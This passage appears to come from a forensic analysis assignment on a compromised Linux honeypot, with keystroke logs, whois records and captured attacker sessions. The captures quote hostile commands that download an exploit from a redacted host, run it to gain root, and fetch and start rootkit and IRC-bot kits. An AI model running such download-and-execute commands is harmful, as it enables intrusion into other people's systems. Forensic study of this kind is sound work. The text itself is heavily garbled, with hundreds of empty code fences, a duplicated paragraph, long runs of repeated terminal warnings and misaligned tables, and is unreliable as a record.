19694 ? T 0:00 cp -f killall /usr/bin/
19697 ? Z 0:00 [cp <defunct>]
19701 ? T 0:00 cp -f find /usr/bin/
Below are a summary of the session and the files downloaded. The file ‘r’ was repeatedly downloaded, used to elevate privileges to root, and removed.

The IRC bot connections began at 15:22:51 the last incoming connection occurred at 16:52:24. The IRC channel that the victim machine participated in was Stockholm.SE.eu.Undernet.org.

Sebek output provided keystroke evidence of actions taken. Sebek output and the output logging from the rootkit install provided information on changes to configurations files to examine further.
<table>
<thead>
<tr>
<th>Time</th>
<th>Command</th>
<th>Arguments</th>
</tr>
</thead>
<tbody>
<tr>
<td>15:42:31</td>
<td>cd /tmp</td>
<td></td>
</tr>
<tr>
<td>15:42:55</td>
<td>ls -al</td>
<td></td>
</tr>
<tr>
<td>15:42:57</td>
<td>m -   dir -al</td>
<td></td>
</tr>
<tr>
<td>15:43:02</td>
<td>rm -rf,s</td>
<td></td>
</tr>
<tr>
<td>15:43:07</td>
<td>ps ax</td>
<td></td>
</tr>
<tr>
<td>15:43:20</td>
<td>ls</td>
<td></td>
</tr>
<tr>
<td>15:43:24</td>
<td>ps ax</td>
<td></td>
</tr>
<tr>
<td>15:43:27</td>
<td>killall</td>
<td></td>
</tr>
<tr>
<td>15:43:37</td>
<td>ps ax</td>
<td></td>
</tr>
<tr>
<td>15:43:43</td>
<td>rm -rf</td>
<td></td>
</tr>
<tr>
<td>15:43:58</td>
<td>ps ax</td>
<td></td>
</tr>
<tr>
<td>15:45:17</td>
<td>cd /bin</td>
<td></td>
</tr>
<tr>
<td>15:45:21</td>
<td>mkdir .EhT</td>
<td></td>
</tr>
<tr>
<td>15:45:28</td>
<td>cd /tmp</td>
<td></td>
</tr>
<tr>
<td>15:45:31</td>
<td>dir -a</td>
<td>cd .font-unix</td>
</tr>
<tr>
<td>15:45:39</td>
<td>wget XXX.XXX.com/idgoh/samba.tgz</td>
<td></td>
</tr>
<tr>
<td>15:46:01</td>
<td>tar -zxvf 1 samba.tgz</td>
<td></td>
</tr>
<tr>
<td>15:46:12</td>
<td>rm cd samba</td>
<td></td>
</tr>
<tr>
<td>15:46:17</td>
<td>ifconfig</td>
<td></td>
</tr>
<tr>
<td>15:46:28</td>
<td>nmap XXX.XXX.5.5</td>
<td></td>
</tr>
<tr>
<td>15:46:50</td>
<td>nmap XXX.XXX.42.58</td>
<td></td>
</tr>
<tr>
<td>15:46:53</td>
<td>nmap XXX.XXX.42.58</td>
<td></td>
</tr>
<tr>
<td>15:47:46</td>
<td>rm cd samba</td>
<td></td>
</tr>
<tr>
<td>15:48:34</td>
<td>whereis tcp.bg</td>
<td></td>
</tr>
<tr>
<td>15:48:53</td>
<td>netstat -a</td>
<td></td>
</tr>
<tr>
<td>15:59:19</td>
<td>netstat</td>
<td></td>
</tr>
<tr>
<td>16:00:04</td>
<td>ifconfig</td>
<td></td>
</tr>
<tr>
<td>16:02:29</td>
<td>netstat</td>
<td></td>
</tr>
<tr>
<td>16:02:50</td>
<td>netstat</td>
<td></td>
</tr>
<tr>
<td>16:20:26</td>
<td>19504 19508</td>
<td></td>
</tr>
<tr>
<td>16:21:34</td>
<td>22:17.20</td>
<td></td>
</tr>
<tr>
<td>16:30:59</td>
<td>22:26:45</td>
<td></td>
</tr>
<tr>
<td>16:34:31</td>
<td>22:30:17</td>
<td></td>
</tr>
<tr>
<td>16:35:27</td>
<td>22:31:13</td>
<td></td>
</tr>
<tr>
<td>16:35:45</td>
<td>22:31:31</td>
<td></td>
</tr>
<tr>
<td>16:36:44</td>
<td>22:33:48</td>
<td></td>
</tr>
<tr>
<td>16:38:02</td>
<td>22:34:41</td>
<td></td>
</tr>
<tr>
<td>16:40:01</td>
<td>22:35:47</td>
<td></td>
</tr>
<tr>
<td>16:40:58</td>
<td>22:36:44</td>
<td></td>
</tr>
<tr>
<td>16:47:42</td>
<td>22:43:28</td>
<td></td>
</tr>
<tr>
<td>16:52:08</td>
<td>22:47:54</td>
<td></td>
</tr>
</tbody>
</table>
The sebek log events and the tcpdump output show the TCP port 18 connections originating from IP XXX.XXX.119.81. The samba.tar.gz file was retrieved during the port 18 connection.

A Whois lookup in ARIN pointed to the RIPE. A whois lookup using RIPE (www.ripe.net) showed the IP address belonging to XXXXX XXXXX Network S.A. in Bucharest, Romania.

<table>
<thead>
<tr>
<th>Time</th>
<th>Command</th>
<th>IP Address</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>16:54:45</td>
<td>22:50:31 -</td>
<td>/sys XXX.XXX.84.31</td>
<td>[A]</td>
</tr>
<tr>
<td>16:56:09</td>
<td>22:51:55 -</td>
<td>/sys XXX.XXX.84.31</td>
<td>[A]</td>
</tr>
<tr>
<td>16:56:56</td>
<td>22:52:42 -</td>
<td>/sys XXX.XXX.84.31</td>
<td>[A]</td>
</tr>
<tr>
<td>16:57:51</td>
<td>22:53:37 -</td>
<td>/sys XXX.XXX.84.31</td>
<td>[A]</td>
</tr>
<tr>
<td>16:58:56</td>
<td>22:54:42 -</td>
<td>/sys XXX.XXX.84.31</td>
<td>[A]</td>
</tr>
<tr>
<td>17:00:23</td>
<td>22:56:09 -</td>
<td>/sys XXX.XXX.84.31</td>
<td>[A]</td>
</tr>
<tr>
<td>17:01:48</td>
<td>22:57:34 -</td>
<td>/sys XXX.XXX.84.31</td>
<td>[A]</td>
</tr>
<tr>
<td>17:02:04</td>
<td>22:57:50 -</td>
<td>/sys XXX.XXX.84.31</td>
<td>[A]</td>
</tr>
<tr>
<td>17:02:20</td>
<td>22:58:06 -</td>
<td>/sys XXX.XXX.84.31</td>
<td>[A]</td>
</tr>
<tr>
<td>17:02:26</td>
<td>22:58:12 -</td>
<td>/sys XXX.XXX.84.31</td>
<td>[A]</td>
</tr>
<tr>
<td>17:02:44</td>
<td>22:58:30 -</td>
<td>/sys XXX.XXX.84.31</td>
<td>[A]</td>
</tr>
<tr>
<td>17:03:06</td>
<td>22:58:52 -</td>
<td>/sys XXX.XXX.84.31</td>
<td>[A]</td>
</tr>
</tbody>
</table>

inetnum: XXX.XXX.96.0 - XXX.XXX.127.255
netname: XXXXX
descr: XXXXX XXXXX Network S.A.
descr: XXXXX XXXX Network
country: RO
admin-c: BT17-RIPE
tech-c: PDNN1-RIPE
status: ASSIGNED PA
notify: XXXXX@XXXXXX.ro
mnt-by: AS8503-MNT
changed: XXXXX@XXXXXX.ro 20030704
source: RIPE
route: XXX.XXX.116.0/22
descr: PCNET
origin: AS8503
notify: XXXXX@XXXXXX.ro
mnt-by: AS8503-MNT
changed: XXXXX@XXXXXX.ro 20020912
source: RIPE
role: XXXXX XXXXX Network NOC
address: XXXXXXX XXXXX, nr. 10
address: Bucharest, ROMANIA
phone: +XX 1 555 86 61
phone: +XX 1 555 35 23
fax-no: +XX 1 555 49 99
e-mail: XXXXX@XXXXXX.ro
trouble: +XX X 555 18 84
Tcpflow Output – Buffer Overflow and Root Kit placements.

The program tcpflow was used to dump the session data. The XXX.XXX.108.65:35054 => 192.168.2.14:443 are the commands that were sent and 92.168.2.14:443 => XXX.XXX.108.65:35054 are the results from the commands. The section below shows the two sessions combined. The lines that are bolded and italicized are from XXX.XXX.108.65:35054=>192.168.2.14:443. The session started at 14:57:44 through to 15:29:41.

```bash
wget XXX.XXX.com/eladoht/stuff/r;chmod +x r;
```

```
bash-2.05a$ --15:09:12-- http://XXX.XXX.com/eladoht/stuff/r
 > `r'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]
```

```
OK .............. ............ 100% 76.87 KB/s
15:09:13 (76.87 KB/s) - `r' saved [19916/19916]
```

```
./r
bash-2.05a$ [+ ] Attached to 19506
[+] Signal caught
[+] Shellcode placed at 0x4000fd1d
[+] Now wait for suid shell...
u
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
```

```
rm -rf r
ls -al
```

```
total 38
```

```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
Kevin Miller - Sans GCFA Assignment – v1.4

<table>
<thead>
<tr>
<th>Length: 352,596 [application/x-tar]</th>
</tr>
</thead>
<tbody>
<tr>
<td>OK 14%  142.05 KB/s</td>
</tr>
<tr>
<td>50K 14%  142.05 KB/s</td>
</tr>
<tr>
<td>100K 29% 250.00 KB/s</td>
</tr>
<tr>
<td>150K 43% 260.42 KB/s</td>
</tr>
<tr>
<td>200K 58% 231.48 KB/s</td>
</tr>
<tr>
<td>250K 72% 202.43 KB/s</td>
</tr>
<tr>
<td>300K 87% 349.65 KB/s</td>
</tr>
<tr>
<td>349.65 KB/s</td>
</tr>
<tr>
<td>352,596/352,596</td>
</tr>
</tbody>
</table>

15:11:18 (195.87 KB/s) - `s.tar.gz' saved [352596/352596]

```bash
tar -zxvf s.tar.gz;rm -rf s.tar.gz; ls
drwxr-xr-x 16 root root 1024 Jun 29 15:11 .
drwxr-xr-x 19 root root 1024 Jun 23 11:59 ..
drwxr-xr-x 2 root root 1024 Jun 23 12:18 .ICE-unix
-rw-r--r-- 1 root root 11 Jun 23 12:00 .XO-lock
drwxr-xr-x 2 root root 1024 Jun 23 12:00 .X11-unix
drwxr-xr-x 2 root root 1024 Jun 19 11:43 .kde
drwxr-xr-x 2 root root 1024 Jun 19 11:48 .mozilla
-drwxr-xr-x 2 root root 1024 Jun 19 11:48 .rnd
-drwxr-xr-x 4 502 502 1024 Mar 24 21:41 .s
-rw-r--r-- 1 root root 13417 Jun 20 10:17 .xftcache
-rwxr-xr-x 1 root root 890 Jun 20 04:14 X-Test.log
-rw-r--r-- 1 root root 4133 Jun 20 04:14 XF86Config.test
drwxr-xr-x 2 userid1 userid1 1024 Jun 23 12:18 kde-userid1
drwxr-xr-x 2 root root 1024 Jun 20 10:55 kde-root
drwxr-xr-x 2 userid1 userid1 1024 Jun 26 16:40 ksocket-userid1
drwxr-xr-x 2 root root 1024 Jun 23 11:55 ksocket-root
drwxr-xr-x 3 userid1 userid1 1024 Jun 23 12:18 mcop-userid1
drwxr-xr-x 3 root root 1024 Jun 20 10:55 mcop-root
-rw-r--r-- 1 root root 0 Jun 29 04:02 session_mm_apache0.sem
drwxr-xr-x 2 root root 1024 Jun 20 02:20 texconf.Nzu100
```

```bash
cd .
```
At 15:09:40 two attempts are made to connect to the victim from IP XXX.XXX.119.81 to port 18. There is no service on port 18 so the connection is reset. A new series of sessions from IP address XXX.XXX.108.64 to 192.168.2.15 on port 443 are sent. This series is the OpenSSL buffer overflow attack. The overflow gains access and we see the installation of the root kit in tcpflow sessions XXX.XXX.108.064.35089-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35089. This session installed the rootkit from the directory /tmp/.s. This session started at 15:10:48 and completed at 15:15:18.

```
/bin/sh: line 1: 19508 Killed su
rm -rf ls ps
bash: [19488:1] tcsetattr: Invalid argument
bash-2.05a$ exit
```

At 15:09:40 two attempts are made to connect to the victim from IP XXX.XXX.119.81 to port 18. There is no service on port 18 so the connection is reset. A new series of sessions from IP address XXX.XXX.108.64 to 192.168.2.15 on port 443 are sent. This series is the OpenSSL buffer overflow attack. The overflow gains access and we see the installation of the root kit in tcpflow sessions XXX.XXX.108.064.35089-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35089. This session installed the rootkit from the directory /tmp/.s. This session started at 15:10:48 and completed at 15:15:18.

```
TERM=xterm; export TERM=xterm; exec bash

uname -a; id; w;
```

```
bash-2.05a$ Linux
rhl 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
3:20pm up 6 days, 3:22, 3 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user1 pts/0 - 23Jun03 6days 0.00s ? -
user1 pts/1 - 23Jun03 6days 0.21s 0.10s -bash
user1 pts/2 - Fri 8am 47:13m 0.49s 0.39s -bash
```

```
readline: warning: rl_prep_terminal: cannot get terminal settings bash-2.05a$

TERM=xterm; export TERM=xterm; exec bash -i

```

```
TERM=xterm; export TERM=xterm; exec bash -i

```

```
cd /tmp
```

```
readline: warning: rl_prep_terminal: cannot get terminal settings bash-2.05a$ readl ine:
```

```
wget XXX.XXX.com/eladoht/stuff/r; chmod +x r;
```

```
warning: rl_prep_terminal: cannot get terminal settings bash-2.05a$ --15:21:42--
http://XXX.XXX.com/eladoht/stuff/r => `r'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]
OK ............. .............
100% 76.87 KB/s
15:21:43 (76.87 KB/s) - `r' saved [19916/19916]
```

```
readline: warning: rl_prep_terminal: cannot get terminal settings bash-2.05a$ [+]
```

```
./r
```

```
Attached to 19602
[+] Signal caught
[+] Shellcode placed at 0x4000fdid
[+] Now wait for suid shell...
```

```
su
```

```
rm -rf r
```

```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
Another session is established to load bot.tar.gz. The bot.tar.gz kit provides IRC access to the victim machine. This buffer overflow session is started at 15:18:22. The tcpflow sessions are XXX.XXX.108.064.35157 - 192.168.002.015.00443 and 192.168.002.015.00443 - XXX.XXX.108.064.35157. This session installs the bot rootkit from the directory /tmp/.font-unix. This occurs after the buffer overflow. The session starts at 15:18:27 and completes at 15:30:03.

exec bash -i

uname -a; id; w;

bash: no job control in this shell
readline: warning: rl_prep_terminal: cannot get terminal settings
bash: no job control in this shell
readline: warning: rl_prep_terminal: cannot get terminal settings
bash: no job control in this shell
readline: warning: rl_prep_terminal: cannot get terminal settings
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ Linux rh1 2.4.18-3 #1
Thu Apr 18 07:37:53 EDT 2002
uid=48(apache) gid=48(apache) groups=48(apache)
3:28pm up 6 days, 3:29, 3 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
userid1 pts/0 - 23Jun03 6days 0.00s ? -
userid1 pts/1 - 23Jun03 6days 0.21s 0.10s -bash
userid1 pts/2 - Fri 8am 47:20m 0.49s 0.39s -bash
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline:
readline: warning: rl_prep_termi
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ bash:
.cd font-unix
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ bash:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ bash:
get terminal settings
bash-2.05a$ bash:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ bash:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ bash:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ bash:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ bash:
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 404 Not Found
tar (child): bot.tgz: Cannot open: No such file or directory
tar (child): Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error exit delayed from previous errors
bash: [19893: 1] tcssetattr: Invalid argument
bash: cd: .X11-pipe: No such file or directory
chmod: getting attributes of `inetd/services': No such file or directory
bash: inetd/services: No such file or directory
wget XXX.XXX.com/eladoht/bot.tgz;tar -zxvf bot.tgz;rm -rf
bot.tgz;cd .X11-pipe;chmod +x inetd/services;inetd/services;
get terminal settings
bash-2.05a$ bash:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ bash:
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 764,880 [application/x-tar]

15:32:50 (179.21 KB/s) - `bot.tgz' saved [764880/764880]
.X11-pipe/
.X11-pipe/COPYING
.X11-pipe/README
.X11-pipe/TODO
.X11-pipe/VERSIONS
.X11-pipe/Makefile
.X11-pipe/mech.pid
.X11-pipe/lpd.help
.X11-pipe/randfiles/
.X11-pipe/randfiles/randaway.e
.X11-pipe/randfiles/randinsult.e
bash: [19893: 1] tcsetattr: Invalid argument

```
pid         tty          time       cmd
 10606   ?         00:00:00  httpd
 10607   ?         00:00:00  httpd
 10608   ?         00:00:00  httpd
 10609   ?         00:00:00  httpd
 10610   ?         00:00:00  httpd
```

<table>
<thead>
<tr>
<th>PID</th>
<th>TTY</th>
<th>STAT</th>
<th>TIME</th>
<th>COMMAND</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>S</td>
<td>0:04</td>
<td>init</td>
<td>init</td>
</tr>
<tr>
<td>2</td>
<td>SW</td>
<td>0:00</td>
<td>[keventd]</td>
<td>[keventd]</td>
</tr>
<tr>
<td>3</td>
<td>SW</td>
<td>0:00</td>
<td>[kapmd]</td>
<td>[kapmd]</td>
</tr>
<tr>
<td>4</td>
<td>SWN</td>
<td>0:00</td>
<td>[ksoftirqd_CPU0]</td>
<td>[ksoftirqd_CPU0]</td>
</tr>
<tr>
<td>5</td>
<td>SW</td>
<td>0:02</td>
<td>[kswapd]</td>
<td>[kswapd]</td>
</tr>
<tr>
<td>6</td>
<td>SW</td>
<td>0:00</td>
<td>[bdflush]</td>
<td>[bdflush]</td>
</tr>
<tr>
<td>7</td>
<td>SW</td>
<td>0:00</td>
<td>[kupdown]</td>
<td>[kupdown]</td>
</tr>
<tr>
<td>8</td>
<td>SW</td>
<td>0:00</td>
<td>[mdrecoveryd]</td>
<td>[mdrecoveryd]</td>
</tr>
<tr>
<td>12</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td>[kjournald]</td>
</tr>
<tr>
<td>91</td>
<td>SW</td>
<td>0:00</td>
<td>[khupd]</td>
<td>[khupd]</td>
</tr>
<tr>
<td>186</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td>[kjournald]</td>
</tr>
<tr>
<td>187</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td>[kjournald]</td>
</tr>
<tr>
<td>188</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td>[kjournald]</td>
</tr>
<tr>
<td>189</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td>[kjournald]</td>
</tr>
<tr>
<td>657</td>
<td>S</td>
<td>0:00</td>
<td>rpc.statd</td>
<td>rpc.statd</td>
</tr>
<tr>
<td>770</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/apmd -p 10 -w 5 -W -p /etc/sysconfig/apm -sc</td>
<td>/usr/sbin/apmd -p 10 -w 5 -W -p /etc/sysconfig/apm -sc</td>
</tr>
<tr>
<td>790</td>
<td>SL</td>
<td>0:01</td>
<td>ntpd -U ntp -g</td>
<td>ntpd -U ntp -g</td>
</tr>
<tr>
<td>842</td>
<td>S</td>
<td>0:01</td>
<td>/usr/sbin/sshd</td>
<td>/usr/sbin/sshd</td>
</tr>
<tr>
<td>875</td>
<td>S</td>
<td>0:00</td>
<td>xinetd -staysafe -reuse -pidfile /var/run/xinetd.pid</td>
<td>xinetd -staysafe -reuse -pidfile /var/run/xinetd.pid</td>
</tr>
<tr>
<td>916</td>
<td>S</td>
<td>0:00</td>
<td>sendmail: accepting connections</td>
<td>sendmail: accepting connections</td>
</tr>
<tr>
<td>933</td>
<td>S</td>
<td>0:00</td>
<td>gpm -t ps/2 -m /dev/mouse</td>
<td>gpm -t ps/2 -m /dev/mouse</td>
</tr>
<tr>
<td>953</td>
<td>S</td>
<td>0:00</td>
<td>cron</td>
<td>cron</td>
</tr>
<tr>
<td>1005</td>
<td>S</td>
<td>0:03</td>
<td>xfs -droppriv -daemon</td>
<td>xfs -droppriv -daemon</td>
</tr>
<tr>
<td>1041</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/aptic</td>
<td>/usr/sbin/aptic</td>
</tr>
<tr>
<td>1050</td>
<td>tty1</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty1</td>
</tr>
<tr>
<td>1051</td>
<td>tty2</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty2</td>
</tr>
<tr>
<td>1052</td>
<td>tty3</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty3</td>
</tr>
<tr>
<td>1053</td>
<td>tty4</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty4</td>
</tr>
<tr>
<td>1054</td>
<td>tty5</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty5</td>
</tr>
<tr>
<td>1055</td>
<td>tty6</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty6</td>
</tr>
<tr>
<td>1056</td>
<td>S</td>
<td>0:00</td>
<td>/usr/bin/kdm -nodaemon</td>
<td>/usr/bin/kdm -nodaemon</td>
</tr>
<tr>
<td>1067</td>
<td>S</td>
<td>0:00</td>
<td>-i0</td>
<td>-i0</td>
</tr>
<tr>
